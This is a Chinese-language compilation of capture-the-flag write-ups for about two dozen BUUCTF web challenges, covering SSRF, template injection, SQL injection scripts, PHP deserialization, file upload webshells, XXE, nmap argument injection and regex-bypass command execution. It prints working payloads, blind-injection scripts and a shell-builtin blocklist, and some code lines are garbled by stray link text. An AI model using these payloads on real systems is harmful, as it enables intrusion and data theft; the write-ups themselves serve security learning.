Buuctf -web wp汇总(一):链接
Buuctf -web wp汇总(二):链接
Buuctf -web wp汇总(三):链接
文章目录
- [ASIS 2019]Unicorn shop
- [网鼎杯 2020 青龙组]AreUSerialz
- [GKCTF2020]cve版签到
- [BJDCTF2020]The mystery of ip
- [BJDCTF2020]ZJCTF,不过如此、
- [BJDCTF 2nd]简单注入
- [安洵杯 2019]easy_serialize_php
- [BJDCTF2020]Cookie is so stable
- [MRCTF2020]Ez_bypass
- [GKCTF2020]老八小超市儿
- [极客大挑战 2019]FinalSQL
- [BJDCTF 2nd]Schro?dinger
- [GXYCTF2019]BabyUpload
- [网鼎杯 2020 朱雀组]phpweb
- [GWCTF 2019]枯燥的抽奖
- [BJDCTF2020]EasySearch
- [NCTF2019]Fake XML cookbook
- [V&N2020 公开赛]HappyCTFd
- [BJDCTF 2nd]xss之光
- [CISCN2019 总决赛 Day2 Web1]Easyweb
- [MRCTF2020]PYWebsite
- [FBCTF2019]RCEService
- [网鼎杯 2020 朱雀组]Nmap
- [NPUCTF2020]ReadlezPHP
[ASIS 2019]Unicorn shop
要点:Unicode安全设计
题目要求,当我们买下商品4,获得flag(买其他商品会提示,商品错误),但它只允许输入一个字符,而商品4要求价格为1337.0 。这里利用的就是Unicode的设计漏洞问题,该网站是UTF-8编码。给一个Unicode>1337的值就可以获得flag,可以通过网站获取一些特殊字符?(查询thousand关键字)
文章图片
参考链接:
浅谈Unicode设计的安全性
Unicode与UTF-8的区别
Unicode编码表
[网鼎杯 2020 青龙组]AreUSerialz
要点:反序列化
[GKCTF2020]cve版签到
要点:CVE-2020-7066( SSRF漏洞) 参考:https://www.anquanke.com/vul/id/1966253
文章图片
get_headers()函数存在安全漏洞,与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则 URL将被静默地截断。 可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。造成信息泄露。
利用方法 :%00截断
文章图片
进入题目,查看其http头 可以发现提示 flag在localhost中
文章图片
根据cve漏洞的利用条件构造payload:
?url=http://127.0.0.1%00.ctfhub.com
提示ip最后要以123结尾
文章图片
构造获取flag:
?url=http://127.0.0.123%00.ctfhub.com
[BJDCTF2020]The mystery of ip
要点:模板注入
访问题目,题目给了个 Your IP is:xxx,在源码中有写注释:Do you know why i know your ip? ,考虑一般用户IP信息由http头
X-Forwarded-For
声明用户访问服务器的 IP 地址,利用burp抓包尝试修改,发现允许修改。文章图片
进行测试一波发现存在模板注入(SSTI)
文章图片
构造xxf信息获取flag
X-Forwarded-For:127.0.0.1{{system("ls /")}}
X-Forwarded-For:127.0.0.1{{system("cat /flag")}}
文章图片
[BJDCTF2020]ZJCTF,不过如此、
要点:PHP伪协议 replace
访问题目 ,提供了源码
大概思路:判断存在
$text
且内容为 I hava a dream
执行文件包含include命令
文章图片
绕过:利用php://input 或者 data://伪协议绕过第一个if,再通过php://filter读取next.php的文件源码
构造payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
获取到的next.php源码为
文章图片
preg_replace的/e模式下有代码执行漏洞,将替换的结果以php代码执行(该漏洞存在与PHP5.5版本以下),具体的解释可以看看:深入研究preg_replace与代码执行
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
在 subject 中搜索 pattern 模式的匹配项并替换为 replacement 。
构造RCE payload
(1)利用源码给的getFlag函数
/next.php?\S*=${getflag()}&cmd=show_source("/flag");
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
(2)通过构造post传参
next.php?\S*=${eval($_POST[test])}
POST:
test=system("cat /flag");
[BJDCTF 2nd]简单注入
要点:SQL注入
访问题目,一个登录框
文章图片
访问robots.txt获取hint信息
文章图片
既然是注入题,先进行一波fuzz测试,看看有没有黑名单,大部分被过滤
过滤字符
union , select , = , ' , & , && , - ," , and 等
文章图片
方法1:\ 转义单引号 逃逸
例:
传入admin\ 和 or/**/length(database())>0#会回显stronger字样传入admin\ 和 or/**/length(database())<0#会回显girl friend字样
写脚本进行盲注获取用户名和密码
import requests
url = "http://94ec392f-66af-49b4-8652-7bdf81fd95d0.node3.buuoj.cn/index.php"data = https://www.it610.com/article/{"username":"admin\\","password":""}
result = ""
i = 0while( True ):
i = i + 1
head=32
tail=127 while( head < tail ):
mid = (head + tail) >> 1#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)data['password'] = payload
r = requests.post(url,data=https://www.it610.com/article/data)if"stronger" in r.text :
head = mid + 1
else:
tail = mid last = result if head!=32:
result += chr(head)
else:
break
print(result)
脚本跑出用户名和密码 登录获取flag
方法2:正则表达式盲注(先放着后期学习)
参考文章:https://www.freesion.com/article/2367234678/
[安洵杯 2019]easy_serialize_php
要点:反序列化字符逃逸,extract()变量覆盖
完整代码
进入题目
首先源码提示,phpinfo中可能有东西,
文章图片
可以看到自动包含了一个文件,我们的目的就是去访问它,但直接访问是打不开,回到源码有函数
file_get_contents()
可以读取文件内容。文章图片
$function
可以通过 $f
直接赋值,现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php
。也就是要求$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
。而$userinfo
又是通过$serialize_info
反序列化来的。$serialize_info
又是通过session序列化之后再过滤得来的。文章图片
重新回到源码,img是通过传值的,但这里问题来了,假设是我们自己传参数值,只能是sha1加密后的结果,而如何去构造出我们想要的img就是这题的重点了(反序列化字符串逃逸)
反序列化的对象逃逸问题可以分成两类:
(前提:在进行序列化后会进行一波字符串替换的操作,然后再进行反序列化才会出现字符串逃逸的问题)
- 第一种:
关键词数增加
例:admin->password ,字符串长度由5变成了8
该方法比较好构造,直接构造多个关键词,这样就能逃出几个字符 - 第二种:
关键词数减少
例:过滤黑名单关键词,字符串长度就会变短 例如本题
该方法可以是通过键逃逸
和值逃逸
需要两个连续的键值对(为方便 命名为AB,A->值 B->值),通过字符串替换,过滤掉A的值,于是B的键就会覆盖掉A的值,这样B的值就出现字符串逃逸,单独作为一个键值对。
例:参考本题代码
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
s:2:"dd";
s:1:"a";
}&function=show_image
序列化后并进行过滤后的结果为:
"a:3:{s:4:"user";
s:24:"";
s:8:"function";
s:59:"a";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
s:2:"dd";
s:1:"a";
}";
s:3:"img";
s:20:"Z3Vlc3RfaW1nLnBuZw==";
}"
可以看到通过将flag过滤掉后 ,本来有6个flag字符长度为24,现在为空,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,即读取
";
s:8:"function";
s:59:"a
,读取这24个字符后以”;
结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:array(3) {
["user"]=> string(24) "";
s:8:"function";
s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
而后面多出来的第四个第五个序列化字符串并不会影响原来的三个,因此产生了字符串逃逸。并且这时候img的值对于我们来说是可控的
(2)值逃逸
只需要一个键值,我们直接构造会被过滤的键,当键被过滤后,值得一部分会被充当键,再一部分充当值,最后剩下得一部分被逃逸出去成为单独的键值对
例:参考本题代码
_SESSION[flagphp]=;
s:1:"1";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
}
序列化后并进行过滤后的结果为:
"a:2:{s:7:"";
s:48:";
s:1:"1";
s:3:"img";
s:20:"ZDBnM19mbGxsbGxsYWc=";
}";
s:3:"img";
s:20:"Z3Vlc3RfaW1nLnBuZw==";
}"
反序列化后的数组结果为
array(2){
["";
s:48:"] => string(1)"1"
["img"] => string(20) "ZDBnM19mbGxsbGxsYWc=")
}
大概的思路知道后构造字符串逃逸
构造payload:
url/index.php?f=show_image
Post参数:
_SESSION[phpflag]=;
s:7:"xxxxxxx";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
}
查看源码获取提示:
文章图片
将img参数换成的d0g3_fllllllag的base64加密 获取flag
_SESSION[phpflag]=;
s:7:"xxxxxxx";
s:3:"img";
s:20:"L2QwZzNfZmxsbGxsbGFn";
}
[BJDCTF2020]Cookie is so stable
要点:模板注入(Twig)
进入题目 提示查看cookie
简单测试发现user处存在模板注入
文章图片
再尝试注入判断具体的模板
{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig
构造payload任意命令执行获取flag(看了大部分的wp都是直接cat \flag 但问题是我们如何知道是这个文件 我还是不太清楚 system(“ls”)无法执行 求大佬解释 还是太菜了)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
[MRCTF2020]Ez_bypass
要点:MD5绕过 函数绕过
F12获取源码信息
文章图片
第一层:MD5碰撞
利用数组绕过:构造payload:
?id[]=1&&gg[]=2
第二层:is_numeric函数绕过
PHP弱类型或%00截断绕过 POST参数:
passwd=1234567%00
获取flag
[GKCTF2020]老八小超市儿
要点:模板逻辑漏洞
进入是一个购物网站,在网上我们可以发现是个模板( ShopXO商场),百度搜索,ShopXO商场漏洞,可以找到利用方式,具体可参考:渗透测试|shopxo后台全版本获取shell复现(后台的登录用户名和密码都是默认的,可以在网上找ShopXO安装教程获取)
PS:在将webshell放入文件的过程中,不能使用
解压->放入->压缩
的步骤,会导致后续操作无法成功(我也不知道为什么),而是直接打开压缩文件,将webshell文件添加进去。第二步:上传马后,使用蚁剑连接
文章图片
进入根目录可以发现一个flag文件,打开发现是假的,但给了提示,flag在root 但发现没有权限进入。
文章图片
然后查看红色的auto.sh文件,发现每隔60秒执行python文件
文章图片
查看python代码 ,发现这具有访问root文件的权限,利用该python文件修改代码,可以去读取/root/flag并写入
flag.hint
文件文章图片
获取flag
文章图片
[极客大挑战 2019]FinalSQL
要点:异或注入
1^1^1=1,1^0^1=0
根据题目提示盲注,随便点几下找到注入点,简单的fuzz测试,发现基本SQL注入都被过滤
这里使用异或判断进行SQL盲注:
1^1^1=1,1^0^1=0
利用回显的不同进行判断,构造payload:
id=1^(ascii(substr((select(database())),1,1)>)1)^1
文章图片
当构造的sql语句判断成功时返回1 ->
1^1^1=1
->id=1->放回…others~~ 不成功放回error文章图片
知道大体思路直接用脚本爆破
import requests
import timehost = "http://9dad64b5-0b3d-4f1c-9485-38186169bb6d.node3.buuoj.cn/search.php?"def getDatabase():#获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)def getColumn(): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)def dumpTable():#脱裤
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)where(id=9)),%d,1))<%d)^1" % (i,mid)
res = requests.get(url)
if "others~~~" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
if(__name__=="__main__"):
#getDatabase()#geek
#getTable()#F1naI1y,Flaaaaag
#getColumn()# id,username,password|id fl4gawsl
dumpTable()
flag在F1naI1y表中的password字段 id=8(藏的有点深)
[BJDCTF 2nd]Schro?dinger
要点:时间戳
进入题目,直接谷歌翻译
文章图片
大致是在列表单中提交一个URL,页面将会尝试爆破,爆破时间越久成功率越高。
查看源码是否有提示信息,发现有test.php,尝试访问
文章图片
文章图片
提示我们在admin的密码中留了东西。结合刚刚主页面的爆破,应该是利用主页面将admin的密码爆破出来,于是,将这个url填入主页面的表单中。然后check,但提示爆破失败。
重新测试,利用burp抓包看看内容,发现有个参数,进行base64解码后判断应该是时间戳,利用在线工具转换,发现是当前的时间
文章图片
文章图片
猜测修改时间戳会使成功率改变,直接改成0 ,提示爆破成功
获得内容,是B站的AV号 后面的依旧是时间戳 ,找到视频并找到对应的时间戳的评论获得flag(暴打出题人)
文章图片
[GXYCTF2019]BabyUpload
要点:文件上传漏洞(.htaccess文件解析、文件类型检测绕过)
访问,是一个上传题,尝试上传php文件显示,“后缀名不能有ph”直接禁掉了所有可以直接执行php的后缀名,再进行简单测试后发现只能上传jpg文件
文章图片
考虑需要利用.user.ini或.htaccess文件来将其他文件解析成PHP文件
看一下中间件是什么:(访问不存在的文件)
文章图片
是Apache那么上传一个.htaccess文件试试,
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.htaccess源码如下:(将 jpg文件解析成php文件)
SetHandler application/x-httpd-php
直接上传会报错,猜测是 文件类型校验(MIME验证)只检测content-type类型,修改成image/jpeg后上传成功。
文章图片
制作图片马并上传利用蚁剑连接(这里似乎对文件内容也进行了关键字的检测 不能存在) 使用木马:
可以上传,flag存在于根目录[网鼎杯 2020 朱雀组]phpweb
要点:逻辑漏洞 命令执行
进入题目,应该是显示一个时间
文章图片
抓包发现参数
文章图片
date是一个函数,后面的p应该是它的参数
猜测使用了call_user_func(函数名,参数)函数
读取源码:
func=file_get_contents&p=index.php
返回的部分代码
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
基本的系统命令执行函数都被过滤,可以使用反序列化加url编码绕过
反序列化代码:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
#$a->p = 'ls ../../../';
#$a->p ="find / -name 'flag*'";
$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';
print_r(urlencode(serialize($a)));
构造的payload获取flag:
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
方法二:命名空间绕过黑名单
payload:
func=\exec&p=ls
文章图片
读取flag:
payload:
func=\exec&p=cat $(find / -name flag*)
[GWCTF 2019]枯燥的抽奖
要点:PHP伪随机数伪造 种子爆破(工具)
进入题目,是个猜测字符串的题目
文章图片
查看源码中的js,提示check.php
VdHtfC2mqH
";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}
";
}
else{
echo "没抽中哦,再试试吧
";
}
}
show_source("check.php");
看源码中字符串生成的方式,函数mt_srand()可以确定这里生成的数是PHP伪随机数
PHP伪随机数
相关函数:mt_scrand()、mt_rand()
介绍:mt_scrand(seed),通过分发seed种子,由mt_rand()生成随机数。
但伪随机数的漏洞,存在可预测性,生成伪随机数是线性的,你可以理解为y=ax,x就是种子,知道种子和一组伪随机数就可以推y(伪随机数了)
利用脚本
知道种子->确定你伪随机数的序列。
知道随机数序列->确定种子。
解题
(1)利用脚本将部分的伪随机数转换成php_mt_seed可以识别的数据
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' #字母表
str2='hciEv8D9df'#密匙
str3 = str1[::-1]
length = len(str2) #区间长度
res = ''
for i in range(len(str2)): #遍历密钥,确定当前字符在密钥的顺序
for j in range(len(str1)): #遍历字母表,确定当前字符在字母表的顺序
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
breakprint(res)
(2) 使用php_mt_seed爆破出伪随机数(seed)和php版本
./php_mt_seed可识别数据
文章图片
(3)通过seed获取伪随机数
将获得的字符串填入获取flag
[BJDCTF2020]EasySearch
要点: SSI注入
扫描一下目录,发现.swp备份文件源码泄露,访问获取源码
简单的代码审计,当
substr(md5($password'),0,6)= '6d0bc1'
即可登录成功,并在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。password的值可直接利用脚本爆破
文章图片
对登录过程进行抓包可以发现生成的shtml文件的路径
文章图片
访问该路径 显示了用户名,时间和当前访客IP,这部分的动态输出使用的应该是SSI,猜测存在SSI注入
文章图片
利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。
(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于SSI注入的条件:
CGI,用于动态页面的指令。SSI 注入允许远程在 Web
应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
输入payload:
登录,访问network处的url文章图片
访问返回包header头中的url,可以获得flag文件,回到登录输入payload:
执行命令获取flag文章图片
资料参考:服务器端包含注入SSI分析总结
[NCTF2019]Fake XML cookbook
要点:XXE
题目提示XML,可知为XXE攻击,原理参考https://www.freebuf.com/vuls/175451.html
简要来讲就是客户端向服务器发送了XML数据,这个数据能被我们控制,这样我们就可以增加一个恶意的外部实体,实现攻击
抓包,很明显是一个XML语句
文章图片
自定义的恶意实体,读取/etc/passwd文件
]>
&admin;
123456
文章图片
通常情况下flag文件的位置一般就根目录和var/www/html目录之下 或者是其父目录之下。存在的形式一般为flag flag.txt flag.php
读取flag
]>
&admin;
123456
[V&N2020 公开赛]HappyCTFd
要点:逻辑漏洞 CVE-2020-7245
进入是一个CTF平台模板,只存在一个admin用户
思路:
(1)注册一个带空格的
admin
用户(2)登录成功后再登出
(3)进行忘记密码,在邮箱的新链接修改密码。
(4)使用admin用户和更改后的密码以管理员的身份登录成功
PS:需要用buu的内网邮箱
在Admin Panel =>Challenges页面找到,下载文件获得flag
文章图片
[BJDCTF 2nd]xss之光
要点:git泄露、PHP原生类反序列化
进行路径扫描发现存在.git源码泄露,下载获得index的源码
提供GET参数,进行了反序列化,但没有提供具体类的情况下,我们可以进行原生类反序列化,参考资料:反序列化之PHP原生类的利用
根据源码有个echo 最好是对有__toString()方法的类进行反序列化,在__toString()原生类反序列化中,常用的是Error和Exception类,但是Error是php7专有,用查看看了下发现题目环境是php5:
所以用Exception反序列化,要注意的是它反序列化只能xss
本地构造payload获得恶意的序列化值
将获得的值传入题目在url地址中直接获取到flag
[CISCN2019 总决赛 Day2 Web1]Easyweb
要点:sql注入,文件上传(短标签绕过PHP检测)
通过查看robots.txt, 获得image.php的源码
大致猜测需要sql注入
这里单引号被过滤,由于存在转义函数addslashes以及\0 '等也被过滤,构造payload:
url/image.php?id=\0'&path= or 1=1%23
即可,后端拼接后端sql语句为
select * from images where id='\' or path=' or 1=1#
成功绕过where条件
已知sql的利用 直接写脚本爆破出账号和密码即可
?id=\\0'&path= or ascii(substr((select password from users),1,1))>1%23"
获得账号密码登陆后是一个上传文件界面
文件上传部分:
后端代码应该做了过滤,只能无法上传php文件,先简单上传一个jpg文件。
上传成功后,查看返回的地址,可以发现只将用户和上传文件名存入日志信息
构造带有一句话木马的文件名传入,但会对文件名进行检测,使用PHP短标签绕过,即当short_open_tag=on时,可以使用
= ?>
输出变量文章图片
文章图片
蚁剑连接,获取flag
[MRCTF2020]PYWebsite
要点:逻辑漏洞
进入题目访问源码
前端进行验证 当我们传入正确的值后跳转到flag.php
文章图片
尝试直接访问
文章图片
看到IP,猜想可能要本地访问,添加X-Forwarded-For头绕过
X-Forwarded-For: 127.0.0.1
获得flag[FBCTF2019]RCEService
要点:preg_match()正则匹配绕过
需要用json的格式进行输入
文章图片
输入 {“cmd”:“ls”},只有一个index,php,但无法使用cat 读取
这题是脸书的ctf题目,比赛给了源码,先知社区
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;
-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}?>
存在过滤,需要绕过preg_match()正则匹配
方法一:换行绕过
preg_match一般只会匹配第一行,可以用多行进行绕过,构造payload:
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
Ps:源代码:putenv(‘PATH=/home/rceservice/jail’); ,jail应用于当前环境
方法二:回溯溢出绕过
原题是用POST传参,在这里记录一下原题的脚本,因为复现是用GET传参,所以会导致414报错
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’)); 的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。
RCE脚本
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'res = requests.post("http://challenges.fbctf.com:8085/", data=https://www.it610.com/article/{"cmd":payload})
print(res.text)
[网鼎杯 2020 朱雀组]Nmap
要点:nmap命令行参数注入
访问题目,发现我们可以输入url,经过nmap扫描后会返回出结果,这里引入nmap命令中的一个参数
文章图片
-oG #可以实现将命令和结果写到文件
源码大概的构造:
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
我们可以通过这种思路,拼接单引号,达到控制参数的目的,从而将我们构造的shell写入文件中
构造payload:(因为存在黑名单,过滤了php,使用短标签和phtml绕过)
' = @eval($_POST["hack"]);
?> -oG hack.phtml '
执行成功后 访问
hack.phtml
Post值:hack=phpinfo()
文章图片
蚁剑连接获取flag
[NPUCTF2020]ReadlezPHP
要点:PHP动态函数 反序列化
进入题目,查看源码
文章图片
访问
/time.php?source
获得源码文章图片
构造反序列化
由b(a)可以构造b=assert,a=phpinfo ->assert(phpinfo())
反序列化构造,本地payload获得序列化后的值
传参查看 phpinfo()配置信息 全文查找可以发现flag
PS:在最后构造反序列化的时候用的是eval(phpinfo())一直不行,后来发现原来eval是语言构造器而不是一个函数,不能被可变函数调用,详情可看:动态调用函数时的命令执行对于eval()和assert()的执行问题
推荐阅读
- 解护网杯一道web(EasyChallenge)
- ctf|ctf-htctf-misc
- C++|一些关于程序内存布局的问题
- QCTF 2018xman夏令营选拔赛
- 第一届桂林电子科技大学绿盟杯CTF大赛 wp
- Capture the flag
- CTF|BUUOJ [2019红帽杯]easyRE
- #|CTF-网络信息安全攻防学习平台(脚本关)
- ctf